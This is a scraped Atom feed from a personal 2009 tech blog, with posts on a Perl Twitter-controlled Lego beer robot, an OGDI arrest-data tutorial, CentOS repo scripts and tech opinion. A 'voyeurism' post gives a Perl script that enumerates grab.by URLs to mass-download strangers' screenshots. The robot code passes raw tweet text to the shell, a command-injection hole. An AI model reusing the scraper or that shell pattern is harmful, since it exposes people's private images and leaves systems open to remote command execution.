/&gt;  my $target = $t-&gt;{text};&lt;br /&gt;  &lt;br /&gt;  if($target =~ m/beerbotprime/i){&lt;br /&gt;    $say = `say $'`;&lt;br /&gt;    $bt-&gt;set_output_state( $NXT_NORET, $NXT_MOTOR_A, $speed, $NXT_MOTOR_ON|$NXT_REGULATED, $NXT_REGULATION_MODE_MOTOR_SPEED, 0, $NXT_MOTOR_RUN_STATE_RUNNING, $tachoticks );&lt;br /&gt;    $bt-&gt;keep_alive($NXT_NORET);&lt;br /&gt;&lt;br /&gt;   printf("%s: %s\n", $t-&gt;{user}{screen_name}, $t-&gt;{text});&lt;br /&gt;   print "sleep 4\n";&lt;br /&gt;&lt;br /&gt;   sleep(4);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  $switch = 0;&lt;br /&gt;  print "sleep 4\n";&lt;br /&gt;  sleep(4);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;exit;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-501799172358819434?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/501799172358819434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=501799172358819434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/501799172358819434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/501799172358819434'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/01/beerbot-prime-here-to-save-day-or-maybe.html' title='BeerBot Prime Here to save the day. Or maybe get you a free beer and a date.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4065/4216745746_c1997f923f_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6346039838727077450</id><published>2009-12-23T17:29:00.000-08:00</published><updated>2009-12-23T17:32:23.328-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lego'/><category scheme='http://www.blogger.com/atom/ns#' term='macbluecomm'/><category scheme='http://www.blogger.com/atom/ns#' term='cpan'/><category scheme='http://www.blogger.com/atom/ns#' term='serialport'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>A note to perl enthusiasts trying to get Lego::NXT installed on their machines</title><content type='html'>If you keep getting cpan errors trying to install Net::Bluetooth or LEGO::NXT...&lt;br /&gt;&lt;br /&gt;You need to first install Device::SerialPort first.&lt;br /&gt;&lt;br /&gt;Save you many headaches.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6346039838727077450?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6346039838727077450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6346039838727077450' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6346039838727077450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6346039838727077450'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/12/note-to-perl-enthusiasts-trying-to-get.html' title='A note to perl enthusiasts trying to get Lego::NXT installed on their machines'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-160057953275754327</id><published>2009-12-18T14:30:00.001-08:00</published><updated>2009-12-18T14:39:59.786-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='outages'/><category scheme='http://www.blogger.com/atom/ns#' term='att'/><category scheme='http://www.blogger.com/atom/ns#' term='t mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='weirdness'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>Weirdnes on the nettertubes</title><content type='html'>So no one is officially posting anything but engadget and tmonews, but T-mobiles network was down for at least 4.5 hours yesterday, the only official thing I saw here &lt;a href="http://www.tmonews.com/2009/12/oh-no-another-t-mobile-nationwide-outage/"&gt;http://www.tmonews.com/2009/12/oh-no-another-t-mobile-nationwide-outage/&lt;/a&gt;. Tmobile said it was only 5% of customers affected but the outage covered NYC so that doesn't sound right. I heard reports of att internet down as well. And the Iranians took down twitter for a bit. I doubt any of these things are related but if you get any actuall facts on this stuff please comment. Sounds like scary shit to me. I don't mean to cause a panic, because I don't believe any of it's related I just want more info.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-160057953275754327?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/160057953275754327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=160057953275754327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/160057953275754327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/160057953275754327'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/12/weirdnes-on-nettertubes.html' title='Weirdnes on the nettertubes'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9173792163281979541</id><published>2009-12-09T14:46:00.000-08:00</published><updated>2009-12-09T16:44:44.750-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open government data initiative'/><category scheme='http://www.blogger.com/atom/ns#' term='john prine'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='public information'/><category scheme='http://www.blogger.com/atom/ns#' term='OGDI'/><title type='text'>OGDI Python tutorial, or why OGDI is awesome.</title><content type='html'>The open government data initiative is a program started by Obama. It is so, that the US government can make easily available to the public, data that the public normally has the right to see, but it allows it to be accessed in a programmable way. It is sponsored by microsoft. And at first that sounds bad. Like to much information. And that microsoft has the data. But I gotta say this thing is shaping up to be pretty spiffy. And though it seems like it is more geared toward microsoft's .net, it has JSON and XML plugged into it as well, and grabbing the data with python is easy as pi.&lt;br /&gt;&lt;br /&gt;Ok so the below, is an example of Juvenile Arrest Charges in DC if you just want to start with that use this url:&lt;br /&gt;http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/&lt;br /&gt;instead of&lt;br /&gt;http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F&lt;br /&gt;&lt;br /&gt;What I have done is add a query of gender eq 'F' to the filter which automagically filters the results. So now you only see juvenile's arrested that are Female.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import urllib&lt;br /&gt;from xml.dom import minidom&lt;br /&gt;from xml.dom.minidom import parse, parseString&lt;br /&gt;&lt;br /&gt;def GetData():&lt;br /&gt;   url = "http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F'"&lt;br /&gt;   xmldoc = minidom.parse(urllib.urlopen(url))&lt;br /&gt;   contentNodes = xmldoc.getElementsByTagName("content")&lt;br /&gt;   for contentNode in contentNodes:&lt;br /&gt;       partitionKeyNodes = contentNode.getElementsByTagName("d:PartitionKey")&lt;br /&gt;       for node in partitionKeyNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       rowKeyNodes = contentNode.getElementsByTagName("d:RowKey")&lt;br /&gt;       for node in rowKeyNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       timestampNodes = contentNode.getElementsByTagName("d:TimeStamp")&lt;br /&gt;       for node in timestampNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       entityidNodes = contentNode.getElementsByTagName("d:entityid")&lt;br /&gt;       for node in entityidNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       nameNodes = contentNode.getElementsByTagName("d:name")&lt;br /&gt;       for node in nameNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       addressNodes = contentNode.getElementsByTagName("d:address")&lt;br /&gt;       for node in addressNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       weburlNodes = contentNode.getElementsByTagName("d:weburl")&lt;br /&gt;       for node in weburlNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       gis_idNodes = contentNode.getElementsByTagName("d:gis_id")&lt;br /&gt;       for node in gis_idNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       genderNodes = contentNode.getElementsByTagName("d:gender")&lt;br /&gt;       for node in genderNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;       offense_descriptionNodes = contentNode.getElementsByTagName("d:offensedescription")&lt;br /&gt;       for node in offense_descriptionNodes:&lt;br /&gt;           print node.childNodes[0].nodeValue&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Your output will look something like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;2009-03-0915:40:00&lt;br /&gt;1926986&lt;br /&gt;1de0bb1f-688a-4fd8-bc38-e2d76a42f83d&lt;br /&gt;F&lt;br /&gt;OTHER MISDEMEANOR OFFENSE&lt;br /&gt;2009-03-2920:20:00&lt;br /&gt;1927070&lt;br /&gt;fa3139e8-8c03-43d6-babc-96837f625645&lt;br /&gt;F&lt;br /&gt;ADW -- OTHER DANGEROUS WEAPON/ASSAULT W/INTENT TO COMMIT SODOMY WHILE ARMED&lt;br /&gt;2009-03-2921:40:00&lt;br /&gt;1927071&lt;br /&gt;620134cd-d136-4d83-80dc-da5bfa3580d6&lt;br /&gt;F&lt;br /&gt;ASSAULT SIMPLE IN MENACING MANNER&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If you just want the output you can actually load a link up in excel. The website shows you how to do this with code samples in various .net languages, ruby, python, php etc..&lt;br /&gt;&lt;a href="http://ogdisdk.cloudapp.net/Default.aspx"&gt;http://ogdisdk.cloudapp.net/Default.aspx&lt;/a&gt;&lt;br /&gt;The video and sample code on the site are very useful.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Information is only available in DC right now it seems...Though it seems while  I was doing research on this there was a map showing michigan had finished as well as some other states...though I don't know how to get to that data...hmmm.&lt;br /&gt;&lt;br /&gt;For more information there is a microsoft site here:&lt;br /&gt;http://www.microsoft.com/industry/government/opengovdata/&lt;br /&gt;&lt;br /&gt;Ok....so, why is this the bees knees? Why am I so hyped about this?  Everyone has those horror stories of how they didn't get a job because of drunk photos on facebook or something. I honestly believe that with public information sources like these, there will be so much crap on everybody. So much of bad things that people do...usually in the comfort of their own home. That people are going to forget this silly nonsense, of you did something I don't approve of, and I'm not going to hire you. I think with this really open sources of information a day will come when you don't have to be Jesus to get a job. I write a lot of shit down on the intarwebs, and post pictures etc... I know what posting my opinion or general malfeasentry can cost me. But in the end I think this big ol' goofy world is just going to have to accept imperfect big ol' goofy people.&lt;br /&gt;&lt;br /&gt;This does make a bold assumption that things like people's personal arrest records will be available online.&lt;br /&gt;&lt;br /&gt;Plus the world needs an app that pairs dates based on similar criminal interests, lulz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9173792163281979541?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9173792163281979541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9173792163281979541' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9173792163281979541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9173792163281979541'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/12/ogdi-python-tutorial-or-why-ogdi-is.html' title='OGDI Python tutorial, or why OGDI is awesome.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7748566519153449875</id><published>2009-12-04T12:40:00.000-08:00</published><updated>2009-12-04T12:46:39.174-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rpm'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='rpmforge'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'>Script for installing rpmforge repo on CentOS</title><content type='html'>At work we were battling with out of date packages and packages that just simply weren't in the repos. To solve this we added rpm forge to our centOS boxes.&lt;br /&gt;&lt;br /&gt;These are two simple scripts that add based on your architecture.&lt;br /&gt;64 Bit Version of RPMForge on Centos&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;mkdir repo&lt;br /&gt;cd repo&lt;br /&gt;yum -y install yum-priorities&lt;br /&gt;wget http://apt.sw.be/redhat/el5/en/x86_64/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm&lt;br /&gt;rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt&lt;br /&gt;rpm -K rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;br /&gt;rpm -i rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;br /&gt;yum check-update&lt;br /&gt;echo "priority = 99" &gt;&gt; /etc/yum.repos.d/rpmforge.repo&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;32 Bit Version of RPMForge on Centos&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;mkdir repo&lt;br /&gt;cd repo&lt;br /&gt;yum -y install yum-priorities&lt;br /&gt;wget http://apt.sw.be/redhat/el5/en/i386/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;br /&gt;rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt&lt;br /&gt;rpm -K rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;br /&gt;rpm -i rpmforge-release-0.3.6-1.el5.rf.*.rpm&lt;br /&gt;yum check-update&lt;br /&gt;echo "priority = 99" &gt;&gt; /etc/yum.repos.d/rpmforge.repo&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7748566519153449875?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7748566519153449875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7748566519153449875' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7748566519153449875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7748566519153449875'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/12/script-for-installing-rpmforge-repo-on.html' title='Script for installing rpmforge repo on CentOS'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3440112713038463000</id><published>2009-11-28T06:54:00.000-08:00</published><updated>2009-11-28T07:34:46.472-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='meetup'/><category scheme='http://www.blogger.com/atom/ns#' term='christy'/><category scheme='http://www.blogger.com/atom/ns#' term='questionable content'/><category scheme='http://www.blogger.com/atom/ns#' term='jeph'/><category scheme='http://www.blogger.com/atom/ns#' term='kristy'/><category scheme='http://www.blogger.com/atom/ns#' term='QC'/><category scheme='http://www.blogger.com/atom/ns#' term='jacques'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>QC, Questionable Content Meetup in Nashville last night</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4140979118/" title="Me and  Jeph Jacques by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2659/4140979118_85c2f2b8af.jpg" width="500" height="375" alt="Me and  Jeph Jacques" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's &lt;a href="http://questionablecontent.net"&gt; Questionable Content&lt;/a&gt; for the uninitiated.&lt;br /&gt;&lt;br /&gt;This is me and Jeph. This meet up was neat and really approachable. I think anyone who asked, would have gotten a drawing. I didn't want a drawing I just wanted my friends and I to get pictures.&lt;br /&gt;&lt;br /&gt;Here, are some of the people that showed up:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4140976106/" title="qc meetup people by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2561/4140976106_c30500bd91.jpg" width="500" height="375" alt="qc meetup people" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some were more enthused than others to have their picture taken.&lt;br /&gt;&lt;br /&gt;But the main reason I am blogging this is because, one person, home grown in the big TN, was ,pre than hospitable. She made sure I got my picture taken with Jeph, and really left me walking away with a great view &lt;a href="http://topatoco.com/"&gt;topatoco&lt;/a&gt;, her name was Christy or Kristy, or some other spelling, I didn't get the spelling, I apologize. Regardless she help make the evening memorable for my friends and myself:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4140217229/" title="DSCF0699 by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2553/4140217229_b24d49137e.jpg" width="500" height="375" alt="DSCF0699" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;***She's the cute one in the back***&lt;br /&gt;&lt;br /&gt;More pictures at my flickr&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/"&gt;My flickr&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3440112713038463000?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3440112713038463000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3440112713038463000' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3440112713038463000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3440112713038463000'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/qc-questionable-content-meetup-in.html' title='QC, Questionable Content Meetup in Nashville last night'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2659/4140979118_85c2f2b8af_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-20918286467235728</id><published>2009-11-24T08:27:00.000-08:00</published><updated>2009-11-24T08:42:00.183-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='paradigm'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>Microsoft VS Apple, Google grows</title><content type='html'>In 1975 Microsoft began selling BASIC interpreters, what we might consider a computer language today. Back then OS's weren't really a part of the computing scene, you wrote your own programs or copied them from a book. But that's not really what I want to talk about, there are thousands of texts on this subject. Microsoft started empire building from then on, trying to dominate the market in all ways. One major move they made was to corner IBM to distribute their OS.They put their Internet browser that was not standards compliant on there OS, not just to obliterate the Netscape browser, but to obliterate the server market that Netscape was a part of. By having a browser that was incompatible with there server, they were taking the bread and butter of Netscape. This is key part of what happened, this is when Microsoft truly started empire-building. A sort of allegory, in which Microsoft began building castles. Companies like Apple tried to compete, but they were competing on the same terms, and in the early days they thought that simply having a better product would win the war. However this didn't work. Apple and Microsoft were the equivalents of warring nations, and though Apple (debatably) provided better products, it was simply out gunned. Even after Steve Jobs came back in coup like glory, they were still fighting the same war. They did take a step forward in making a remarkable phone, with a good profit markup. Even though Microsoft had a mobile platform, it wasn't that good, and it certainly wasn't a complete solution.&lt;br /&gt; Despite this Apple and Microsoft are still fighting the same war. Apple has taken to use some guerrilla tactics, which while that has helped it hasn't really brought them to equal market share.&lt;br /&gt; &lt;br /&gt; Enter Google. "Don't be evil"&lt;br /&gt;  Google does not sell computers, or phones, or languages. Googles sells ads. It leases various platforms such as AndroidOS for phones, eventually ChromeOS for netbooks(and maybe more). Google offers applications....for free. Most of the code for these products are freely available. The quality of it's mail app, is in my opinion comparable to Outlook, and while I wouldn't say the other google doc apps are perfect, or are as feature rich as Microsoft's apps, I would say that they are a replacement, I wouldn't scoff at, and what's more, they are free. So I wanted to leave with one metaphor, if Apple and Microsoft are nation building empires, filled with castles and war machines, this is not what google is. Google is a form of ivy. And while ivy in general will not do any damage to a well mortared wall, it will however tear down, walls with imperfections, walls of castles that have been fighting each other for years.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-20918286467235728?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/20918286467235728/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=20918286467235728' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/20918286467235728'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/20918286467235728'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/microsoft-vs-apple-google-grows.html' title='Microsoft VS Apple, Google grows'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-2190118525324737551</id><published>2009-11-22T15:56:00.000-08:00</published><updated>2009-11-22T16:21:13.347-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='voyeurism'/><category scheme='http://www.blogger.com/atom/ns#' term='grab.by'/><category scheme='http://www.blogger.com/atom/ns#' term='pics'/><category scheme='http://www.blogger.com/atom/ns#' term='social images'/><title type='text'>Who doesn't love a little voyeurism...or How to grab some pics from http://grab.by/</title><content type='html'>I love lookin' at random people's pictures.  Don't know why always have. Back in the days of DC++ I used to just grab gigs and gigs of peoples My Pictures. Sometimes awesome (Transformer Cosplay), sometimes not so awesome(Weird amateur porn). But anyways, it's still a hobby. I came across a tiny screen shot grabber site called &lt;a href="http://grab.by/"&gt;http://grab.by/&lt;/a&gt; , now grab by allows you to easily allow you to upload screen shots...coincidentally it allows you to easily download them to. So I devised a tiny script to get quite a few, if you know what your doing you can tweek it and get a bit more, but this should get you about 2600 pics for your viewing pleasure. Here's the script, and it should work on linux or mac:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $variable = 1;&lt;br /&gt;my @letters = ("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");&lt;br /&gt;while($variable &lt; 100){&lt;br /&gt; foreach(@letters){&lt;br /&gt;  print $_;&lt;br /&gt;  my $wgetc = "wget http://grab.by/"."$_"."$variable";&lt;br /&gt;  `$wgetc`;&lt;br /&gt; }&lt;br /&gt; ++$variable&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Oh and if you liked this you might also like my flickr post: &lt;a href="http://bsdpunk.blogspot.com/2009/11/having-imaginary-relationship-with.html"&gt;about having an imaginary girlfriend on flickr&lt;br /&gt;&lt;/a&gt; or stalking...or soemthing..whatever you call it.&lt;br /&gt;&lt;br /&gt;PS it looks like the letters got cut off in the array so if you don't copy it, you will have to finish the leters r-z by yourself ending them in a ");"&lt;br /&gt;&lt;br /&gt;no quotes&lt;br /&gt;&lt;br /&gt;Oh and if you have linux, you should be all set, if you have mac you need to get wget and put it in your system path. Oh and if you have windows....why the hell are you reading this blog...err I mean get cygwin and wget and perl, and hack you some shit together.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-2190118525324737551?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/2190118525324737551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=2190118525324737551' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2190118525324737551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2190118525324737551'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/how-doesnt-love-alittle-voyeurismor-how.html' title='Who doesn&apos;t love a little voyeurism...or How to grab some pics from http://grab.by/'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6285546696995919487</id><published>2009-11-19T10:51:00.000-08:00</published><updated>2009-11-19T12:12:02.145-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud'/><category scheme='http://www.blogger.com/atom/ns#' term='chromeos'/><category scheme='http://www.blogger.com/atom/ns#' term='demo'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>ChromeOS thoughts</title><content type='html'>The ChromeOS demo was today. I'm going to zoom through the negatives first. Oh and here's a simplified video:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" 